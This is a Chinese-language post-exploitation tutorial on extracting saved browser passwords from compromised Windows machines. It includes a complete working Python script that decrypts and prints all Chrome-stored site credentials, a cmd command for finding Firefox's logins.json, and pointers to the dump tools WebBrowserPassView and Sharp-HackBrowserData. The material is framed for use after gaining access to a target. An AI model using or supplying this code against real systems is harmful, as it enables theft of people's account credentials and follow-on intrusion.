目录
在后渗透阶段,获得权限后需要搜集目标系统的信息。信息越全面,越有助于进一步的渗透。对于Windows系统,用户浏览器往往包含有价值的信息。因为大量的密码被重复使用,而如何获得这些非常有价值的密码,很可能就是一次渗透能否成功的关键。
Chrome
测试环境如下
- Chrome版本:94.0.4606.81
- 操作系统:win10 x64,普通用户登录
chrome浏览器是最容易被提取密码的。其加密后的密钥存储于 %LocalAppData%\Google\Chrome\User Data\Default\Login Data 下的一个SQLite数据库中。我们的目的是从这个数据库中抽取出action_url,username_value 和password_value(是二进制数据,所以SQLite浏览器不能显示)。而破解密码,只需要调用Windows API中的 CryptUnprotectData函数。幸运地是,Python为调用Windows API准备了一个完美的叫做pywin32的库。
运行如下脚本,导出保存的账号密码。
安装依赖包:pip install cryptography ,pip install pywin32
#python3
import os,json,base64,sqlite3
from win32crypt import CryptUnprotectData
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
class Chrome:
def __init__(self):
self.local_state = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data\Local State'
self.cookie_path = os.environ['LOCALAPPDATA'] + r"\Google\Chrome\User Data\Default\Login Data"
def get_key(self):
with open(self.local_state, 'r', encoding='utf-8') as f:
base64_encrypted_key = json.load(f)['os_crypt']['encrypted_key']
encrypted_key_with_header = base64.b64decode(base64_encrypted_key)
encrypted_key = encrypted_key_with_header[5:]
key_ = CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
return key_
@staticmethod
def decrypt_string(key, secret, salt=None):
nonce, cipher_bytes = secret[3:15], secret[15:]
aes_gcm = AESGCM(key)
return aes_gcm.decrypt(nonce, cipher_bytes, salt).decode('utf-8')
def get_password(self):
sql = "select username_value,password_value,signon_realm from logins"
with sqlite3.connect(self.cookie_path) as conn:
cu = conn.cursor()
res = cu.execute(sql).fetchall()
cu.close()
result = []
key = self.get_key()
for name, encrypted_value,website in res:
if encrypted_value[0:3] == b'v10' or encrypted_value[0:3] == b'v11':
passwd = self.decrypt_string(key, encrypted_value)
else:
passwd = CryptUnprotectData(encrypted_value)[1].decode()
print('网站:{},用户名:{},密码:{}'.format(website,name, passwd))
if __name__ == '__main__':
c = Chrome()
c.get_password()
相关文章:浏览器密码存储原理和渗透中的利用 - SecPulse.COM | 安全脉搏
Firefox
- Firefox 94.0.1 (32 位)
- 操作系统:win10 x64,普通用户登录
火狐的密码记录保存在
%APPDATA%\Mozilla\Firefox\Profiles\xxxxxxxx.default-release\
其中xxxxxxxx为8位随机字母和数字的组合
不同版本的Firefox保存记录的文件名称不同,具体区别如下:
- Version大于等于32.0,保存记录的文件为logins.json
- Version大于等于3.5,小于32.0,保存记录的文件为signons.sqlite
定位logins.json文件的位置可通过cmd命令实现,内容如下:
dir %APPDATA%\Mozilla\Firefox\Profiles\*logins.json /s /b
打开login.json内容如下,其中encryptedUsername
和encryptedPassword
是加密的内容
一、账号密码导出工具
WebBrowserPassView.exe
WebBrowserPassView 是一种密码恢复工具,可显示以下 Web 浏览器存储的密码:Internet Explorer(版本 4.0 - 11.0)、Mozilla Firefox(所有版本)、Google Chrome、Safari 和 Opera。该工具可用于恢复您丢失/忘记的任何网站的密码,包括流行的网站,如 Facebook、雅虎、谷歌和 GMail,只要密码由您的网络浏览器存储。
网站地址:WebBrowserPassView - Recover lost passwords stored in your Web browser
双击运行会弹出如下界面
Sharp-HackBrowserData.exe
项目地址:GitHub - S3cur3Th1sSh1t/Sharp-HackBrowserData: C# binary with embeded golang hack-browser-data
执行如下
会在当前目录下生成 results文件,包含各种密码信息